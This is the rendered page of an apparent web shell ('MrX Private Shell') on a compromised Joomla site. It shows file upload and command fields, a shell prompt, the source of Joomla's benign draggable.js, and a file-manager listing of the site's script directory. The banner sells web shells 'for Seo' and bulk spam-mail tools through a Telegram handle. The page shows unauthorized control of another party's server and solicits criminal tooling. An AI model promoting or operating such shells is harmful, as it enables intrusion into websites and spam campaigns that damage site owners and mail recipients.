__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
(function () {
  'use strict';

  /**
   * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
   * @license    GNU General Public License version 2 or later; see LICENSE.txt
   */
  // The container where the draggable will be enabled
  var url;
  var direction;
  var isNested;
  var dragElementIndex;
  var dropElementIndex;
  var container = document.querySelector('.js-draggable');
  var form;
  var formData;

  if (container) {
    /** The script expects a form with a class js-form
     *  A table with the tbody with a class js-draggable
     *                         with a data-url with the ajax request end point and
     *                         with a data-direction for asc/desc
     */
    url = container.dataset.url;
    direction = container.dataset.direction;
    isNested = container.dataset.nested;
  } else if (Joomla.getOptions('draggable-list')) {
    var options = Joomla.getOptions('draggable-list');
    container = document.querySelector(options.id);
    /**
     * This is here to make the transition to new forms easier.
     */

    if (!container.classList.contains('js-draggable')) {
      container.classList.add('js-draggable');
    }

    url = options.url;
    direction = options.direction;
    isNested = options.nested;
  }

  if (container) {
    // Get the form
    form = container.closest('form'); // Get the form data

    formData = new FormData(form);
    formData.delete('task');
    formData.delete('order[]'); // IOS 10 BUG

    document.addEventListener('touchstart', function () {}, false);

    var getOrderData = function getOrderData(rows, inputRows, dragIndex, dropIndex) {
      var i;
      var result = []; // Element is moved down

      if (dragIndex < dropIndex) {
        rows[dropIndex].value = rows[dropIndex - 1].value;

        for (i = dragIndex; i < dropIndex; i += 1) {
          if (direction === 'asc') {
            rows[i].value = parseInt(rows[i].value, 10) - 1;
          } else {
            rows[i].value = parseInt(rows[i].value, 10) + 1;
          }
        }
      } else {
        // Element is moved up
        rows[dropIndex].value = rows[dropIndex + 1].value;

        for (i = dropIndex + 1; i <= dragIndex; i += 1) {
          if (direction === 'asc') {
            rows[i].value = parseInt(rows[i].value, 10) + 1;
          } else {
            rows[i].value = parseInt(rows[i].value, 10) - 1;
          }
        }
      }

      for (i = 0; i < rows.length - 1; i += 1) {
        result.push("order[]=" + encodeURIComponent(rows[i].value));
        result.push("cid[]=" + encodeURIComponent(inputRows[i].value));
      }

      return result;
    };

    var rearrangeChildren = function rearrangeChildren($parent) {
      if (!$parent.dataset.itemId) {
        return;
      }

      var parentId = $parent.dataset.itemId; // Get children list. Each child row should have
      // an attribute data-parents=" 1 2 3" where the number is id of parent

      var $children = container.querySelectorAll("tr[data-parents~=\"" + parentId + "\"]");

      if ($children.length) {
        $parent.after.apply($parent, $children);
      }
    };

    var saveTheOrder = function saveTheOrder(el) {
      var orderSelector;
      var inputSelector;
      var rowSelector;
      var groupId = el.dataset.draggableGroup;

      if (groupId) {
        rowSelector = "tr[data-draggable-group=\"" + groupId + "\"]";
        orderSelector = "[data-draggable-group=\"" + groupId + "\"] [name=\"order[]\"]";
        inputSelector = "[data-draggable-group=\"" + groupId + "\"] [name=\"cid[]\"]";
      } else {
        rowSelector = 'tr';
        orderSelector = '[name="order[]"]';
        inputSelector = '[name="cid[]"]';
      }

      var rowElements = [].slice.call(container.querySelectorAll(rowSelector));
      var rows = [].slice.call(container.querySelectorAll(orderSelector));
      var inputRows = [].slice.call(container.querySelectorAll(inputSelector));
      dropElementIndex = rowElements.indexOf(el);

      if (url) {
        // Detach task field if exists
        var task = document.querySelector('[name="task"]'); // Detach task field if exists

        if (task) {
          task.setAttribute('name', 'some__Temporary__Name__');
        } // Prepare the options


        var ajaxOptions = {
          url: url,
          method: 'POST',
          data: new URLSearchParams(formData).toString() + "&" + getOrderData(rows, inputRows, dragElementIndex, dropElementIndex).join('&'),
          perform: true
        };
        Joomla.request(ajaxOptions); // Re-Append original task field

        if (task) {
          task.setAttribute('name', 'task');
        }
      } // Update positions for a children of the moved item


      rearrangeChildren(el);
    }; // eslint-disable-next-line no-undef


    dragula([container], {
      // Y axis is considered when determining where an element would be dropped
      direction: 'vertical',
      // elements are moved by default, not copied
      copy: false,
      // elements in copy-source containers can be reordered
      // copySortSource: true,
      // spilling will put the element back where it was dragged from, if this is true
      revertOnSpill: true,
      // spilling will `.remove` the element, if this is true
      // removeOnSpill: false,
      accepts: function accepts(el, target, source, sibling) {
        if (isNested) {
          if (sibling !== null) {
            return sibling.dataset.draggableGroup && sibling.dataset.draggableGroup === el.dataset.draggableGroup;
          }

          return sibling === null || sibling && sibling.tagName.toLowerCase() === 'tr';
        }

        return sibling === null || sibling && sibling.tagName.toLowerCase() === 'tr';
      },
      mirrorContainer: container
    }).on('drag', function (el) {
      var rowSelector;
      var groupId = el.dataset.draggableGroup;

      if (groupId) {
        rowSelector = "tr[data-draggable-group=\"" + groupId + "\"]";
      } else {
        rowSelector = 'tr';
      }

      var rowElements = [].slice.call(container.querySelectorAll(rowSelector));
      dragElementIndex = rowElements.indexOf(el);
    }).on('drop', function (el) {
      saveTheOrder(el);
    });
  }

})();

Filemanager

Name Type Size Permission Actions
fields Folder 0775
core-es5.js File 27.1 KB 0664
core-es5.min.js File 7.25 KB 0664
core-es5.min.js.gz File 3.01 KB 0664
core.js File 25.65 KB 0664
core.min.js File 7.49 KB 0664
core.min.js.gz File 3.08 KB 0664
draggable-es5.js File 6.11 KB 0664
draggable-es5.min.js File 2.09 KB 0664
draggable-es5.min.js.gz File 929 B 0664
draggable.js File 5.65 KB 0664
draggable.min.js File 2.39 KB 0664
draggable.min.js.gz File 969 B 0664
highlight-es5.js File 69.77 KB 0664
highlight-es5.min.js File 15.65 KB 0664
highlight-es5.min.js.gz File 5.5 KB 0664
highlight.js File 61.41 KB 0664
highlight.min.js File 14.13 KB 0664
highlight.min.js.gz File 5.23 KB 0664
index.html File 30 B 0664
inlinehelp-es5.js File 2.32 KB 0664
inlinehelp-es5.min.js File 714 B 0664
inlinehelp-es5.min.js.gz File 382 B 0664
inlinehelp.js File 2.1 KB 0664
inlinehelp.min.js File 647 B 0664
inlinehelp.min.js.gz File 359 B 0664
joomla-core-loader-es5.js File 8.35 KB 0664
joomla-core-loader-es5.min.js File 5.4 KB 0664
joomla-core-loader-es5.min.js.gz File 1.88 KB 0664
joomla-core-loader.js File 4.31 KB 0664
joomla-core-loader.min.js File 3.66 KB 0664
joomla-core-loader.min.js.gz File 1.16 KB 0664
joomla-hidden-mail-es5.js File 5.3 KB 0664
joomla-hidden-mail-es5.min.js File 2.65 KB 0664
joomla-hidden-mail-es5.min.js.gz File 1.1 KB 0664
joomla-hidden-mail.js File 2.14 KB 0664
joomla-hidden-mail.min.js File 1.32 KB 0664
joomla-hidden-mail.min.js.gz File 595 B 0664
joomla-toolbar-button-es5.js File 7.36 KB 0664
joomla-toolbar-button-es5.min.js File 3.51 KB 0664
joomla-toolbar-button-es5.min.js.gz File 1.36 KB 0664
joomla-toolbar-button.js File 3.07 KB 0664
joomla-toolbar-button.min.js File 1.69 KB 0664
joomla-toolbar-button.min.js.gz File 662 B 0664
keepalive-es5.js File 1.1 KB 0664
keepalive-es5.min.js File 429 B 0664
keepalive-es5.min.js.gz File 304 B 0664
keepalive.js File 1023 B 0664
keepalive.min.js File 577 B 0664
keepalive.min.js.gz File 311 B 0664
messages-es5.js File 16.88 KB 0664
messages-es5.min.js File 7.94 KB 0664
messages-es5.min.js.gz File 2.7 KB 0664
messages.js File 10.29 KB 0664
messages.min.js File 5.29 KB 0664
messages.min.js.gz File 1.66 KB 0664
multiselect-es5.js File 4.17 KB 0664
multiselect-es5.min.js File 1.94 KB 0664
multiselect-es5.min.js.gz File 686 B 0664
multiselect.js File 3.6 KB 0664
multiselect.min.js File 1.8 KB 0664
multiselect.min.js.gz File 645 B 0664
searchtools-es5.js File 19.29 KB 0664
searchtools-es5.min.js File 10.1 KB 0664
searchtools-es5.min.js.gz File 2.45 KB 0664
searchtools.js File 17.49 KB 0664
searchtools.min.js File 9.77 KB 0664
searchtools.min.js.gz File 2.42 KB 0664
showon-es5.js File 10.35 KB 0664
showon-es5.min.js File 3.47 KB 0664
showon-es5.min.js.gz File 1.24 KB 0664
showon.js File 9.41 KB 0664
showon.min.js File 3.35 KB 0664
showon.min.js.gz File 1.23 KB 0664
table-columns-es5.js File 6.71 KB 0664
table-columns-es5.min.js File 3.54 KB 0664
table-columns-es5.min.js.gz File 1.29 KB 0664
table-columns.js File 5.95 KB 0664
table-columns.min.js File 3.4 KB 0664
table-columns.min.js.gz File 1.24 KB 0664
Filemanager